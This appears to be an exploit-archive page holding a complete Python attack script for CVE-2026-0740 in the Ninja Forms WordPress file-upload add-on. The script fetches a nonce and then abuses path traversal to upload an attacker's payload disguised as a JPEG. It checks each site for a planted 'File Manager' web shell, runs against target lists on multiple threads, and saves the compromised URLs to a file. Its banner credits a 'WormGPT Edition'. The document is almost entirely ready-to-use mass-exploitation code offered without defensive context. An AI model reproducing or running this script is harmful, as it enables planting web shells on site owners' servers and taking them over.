Share
## https://sploitus.com/exploit?id=PACKETSTORM:220896
#!/usr/bin/env python3
    """
    Ninja Forms Upload - CVE-2026-0740
    Author : Xenon1337
    """
    
    from __future__ import annotations
    
    import pathlib
    import random
    import sys
    import re
    from datetime import datetime
    from functools import partialmethod
    from urllib.parse import urljoin
    from concurrent.futures import ThreadPoolExecutor, as_completed
    
    import httpx
    from bs4 import BeautifulSoup
    
    
    # --------------------------------------------------------------- Constants ---
    AGENT = (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
        "(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
    )
    TIMEOUT = 10
    DEFAULT_THREADS = 10
    
    # ====================== CONFIGURASI PATH TRAVERSAL ======================
    # GANTI DI SINI SESUAI KEBUTUHAN BOS (selalu pakai forward slash /)
    DEST_TRAVERSAL = "../../../../"
    # =======================================================================
    
    
    # ------------------------------------------------------------------- Utils ---
    class Logger:
        COLORS = {
            "error": 31,
            "success": 32,
            "warning": 33,
            "info": 34,
        }
    
        def log(self, level: str, scope: str, message: str, progress=False):
            color = self.COLORS[level]
            date, time = datetime.now().strftime("%Y-%m-%d %H:%M:%S").split(" ")
            end = "\r" if progress else "\n"
    
            sys.stderr.write(
                "\r\033[{}m[{}] [{}] [{}] [{}]\033[0m {}{}".format(
                    color, date, time, level, scope, message, end
                )
            )
    
        warning = partialmethod(log, "warning")
        error   = partialmethod(log, "error")
        success = partialmethod(log, "success")
        info    = partialmethod(log, "info")
    
    
    def normalize_url(target: str) -> list[str]:
        target = target.strip().rstrip("/")
        if re.match(r'^https?://', target, re.IGNORECASE):
            return [target]
        return [f"https://{target}", f"http://{target}"]
    
    
    def load_targets(targets_file: str | None) -> list[str]:
        if not targets_file:
            return []
        path = pathlib.Path(targets_file)
        if not path.is_file():
            return []
        all_targets = set()
        with open(path, "r", encoding="utf-8") as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith("#"):
                    all_targets.add(line)
        return list(all_targets)
    
    
    # ----------------------------------------------------------------- Exploit ---
    def validate_uploaded_file(file_url: str, headers: dict, timeout: float, logger: Logger) -> bool:
        try:
            with httpx.Client(
                follow_redirects=False,
                headers=headers,
                verify=False,
                timeout=timeout
            ) as http_client:
                response = http_client.get(file_url)
                
                if response.status_code != 200:
                    logger.warning("validation", "Status bukan 200 di {} โ†’ {}".format(file_url, response.status_code))
                    return False
    
                if "File Manager" in response.text or "<title>File Manager</title>" in response.text:
                    logger.success("validation", "โ–ˆ FILE MANAGER DETECTED โ–ˆ {}".format(file_url))
                    return True
                else:
                    logger.warning("validation", "Marker File Manager TIDAK ditemukan di {}".format(file_url))
                    return False
        except Exception as e:
            logger.error("validation", "Error saat validasi {}: {}".format(file_url, e))
            return False
    
    
    def single_exploit(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float) -> tuple[bool, str]:
        ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
        field_id = "".join(random.choices("123456789", k=16))
    
        try:
            with httpx.Client(
                follow_redirects=False,
                headers=headers,
                verify=False,
                timeout=timeout
            ) as http_client:
                # Step 1: Dapatkan nonce
                data = {"action": "nf_fu_get_new_nonce", "field_id": field_id}
                response = http_client.post(ajax_url, data=data)
    
                if response.text == "0":
                    return False, ""
    
                json_result = response.json()
                if not json_result.get("success"):
                    return False, ""
    
                nonce = json_result["data"]["nonce"]
    
                # Step 2: Upload dengan path traversal (FORWARD SLASH SELALU)
                files_key = "files-{}".format(field_id)
                dest_path_str = "{}{}".format(DEST_TRAVERSAL, file_path.name)
    
                files = {files_key: ("image.jpg", file_path.read_bytes(), "image/jpeg")}
                data = {
                    "action": "nf_fu_upload",
                    "nonce": nonce,
                    "form_id": field_id,
                    "field_id": field_id,
                    "image_jpg": dest_path_str
                }
    
                response = http_client.post(ajax_url, data=data, files=files)
                json_result = response.json()
    
                if json_result.get("data") and json_result["data"].get("files"):
                    uploaded_tmp_name = json_result["data"]["files"][0]["tmp_name"]
                    if uploaded_tmp_name == dest_path_str:
                        file_url = urljoin(target, "/wp-content/uploads/ninja-forms/tmp/{}".format(dest_path_str))
                        
                        if validate_uploaded_file(file_url, headers, timeout, logger):
                            return True, file_url
        except Exception as e:
            logger.error("exploit", "Error pada {}: {}".format(target, e))
    
        return False, ""
    
    
    def exploit_worker(target: str, file_path: pathlib.Path, logger: Logger, headers: dict, timeout: float):
        protocols = normalize_url(target)
        for proto_target in protocols:
            logger.info("exploit", "[THREAD] Menyerang {} ...".format(proto_target))
            success, file_url = single_exploit(proto_target, file_path, logger, headers, timeout)
            if success:
                logger.success("exploit", "BERHASIL + VALIDASI FILE MANAGER LOLOS! โ†’ {}".format(file_url))
                return proto_target, file_url
            else:
                logger.warning("exploit", "Gagal di {}, mencoba protokol berikutnya...".format(proto_target))
        return None, None
    
    
    # -------------------------------------------------------------------- Main ---
    def main():
        logger = Logger()
    
        print("\n" + "โ•" * 90)
        print("Ninja Forms Upload - CVE-2026-0740 [WormGPT Edition - PROXY DIHAPUS]")
        print("โ•" * 90)
    
        print("\n[1] Input your list of targets (file atau manual URL)")
        targets_input = input("Input your list : ").strip()
    
        targets = []
        if targets_input:
            path = pathlib.Path(targets_input)
            if path.is_file():
                targets = load_targets(targets_input)
                logger.success("target_loading", "Loaded {} targets dari file".format(len(targets)))
            else:
                targets = [t.strip() for t in re.split(r'[,;\s]+', targets_input) if t.strip()]
                logger.success("target_loading", "Loaded {} targets dari input manual".format(len(targets)))
    
        if not targets:
            logger.error("target_loading", "Tidak ada target yang diberikan!")
            return 1
    
        print("\n[2] Input your payload file")
        while True:
            file_input = input("Input your file : ").strip()
            file_path = pathlib.Path(file_input)
            if file_path.is_file():
                break
            else:
                logger.error("file_loading", "File tidak ditemukan: {}".format(file_path))
    
        headers = {"User-Agent": AGENT}
    
        logger.success("main", "Total target: {} | Threads: {} | Traversal: {}".format(len(targets), DEFAULT_THREADS, DEST_TRAVERSAL))
    
        success_results = []
        with ThreadPoolExecutor(max_workers=DEFAULT_THREADS) as executor:
            future_to_target = {
                executor.submit(exploit_worker, target, file_path, logger, headers, TIMEOUT): target
                for target in targets
            }
    
            for future in as_completed(future_to_target):
                target = future_to_target[future]
                try:
                    success_target, file_url = future.result()
                    if success_target and file_url:
                        success_results.append("{} => {}".format(success_target, file_url))
                        with open("vuln_ninja.txt", "a", encoding="utf-8") as f:
                            f.write("{}\n".format(file_url))
                except Exception as e:
                    logger.error("thread", "Thread error pada {}: {}".format(target, e))
    
        if success_results:
            logger.success("main", "Hasil disimpan di vuln_ninja.txt")
            for res in success_results:
                logger.success("main", res)
        else:
            logger.error("main", "TIDAK ADA TARGET YANG BERHASIL + VALID.")
    
        return 0 if success_results else 1
    
    
    if __name__ == "__main__":
        sys.exit(main())